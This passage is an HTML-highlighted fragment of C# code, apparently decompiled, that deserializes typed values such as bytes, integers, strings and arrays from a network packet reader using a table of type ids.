style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">(</span><span style="color: #0000BB">xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">xb</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">xb</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">object&nbsp;Read</span><span style="color: #007700">(</span><span style="color: #0000BB">Module&nbsp;xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PacketReader&nbsp;dataInput</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Module&nbsp;xb2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">xb2&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">xb2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Create</span><span style="color: #007700">(</span><span style="color: #0000BB">id</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;arrayList&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">id</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Int32&nbsp;integer&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(integer)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Byte<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Boolean<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadBoolean</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Byte<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Short<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadShort</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Int32<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadInt</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Long<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLong</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Float<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;(float)</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadInt</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">7</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Double<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">BitConverter</span><span style="color: #007700">.</span><span style="color: #0000BB">Int64BitsToDouble</span><span style="color: #007700">(</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLong</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Char<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadChar</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">9</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;String<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;str&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadUTF</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">str&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&nbsp;!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">10</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;BinaryTree<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"BinaryTree"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Array&nbsp;(Start)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">integer&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text&nbsp;</span><span style="color: #007700">=&nbsp;(string)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">integer</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;arrayList2&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">xb2</span><span style="color: #007700">.</span><span style="color: #0000BB">b</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">arrayList2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((</span><span style="color: #0000BB">sbyte</span><span style="color: #007700">)</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;==&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">(</span><span style="color: #0000BB">xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arrayList2</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;Array&nbsp;(End)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"End&nbsp;of&nbsp;array"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">13</span><span style="color: #007700">:&nbsp;</span><span style="color: #FF8000">//&nbsp;String<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">255</span><span style="color: #007700">)&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">128</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">128&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">16&nbsp;</span><span style="color: #007700">|&nbsp;(</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">())&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">8&nbsp;</span><span style="color: #007700">|&nbsp;(</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;builder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: 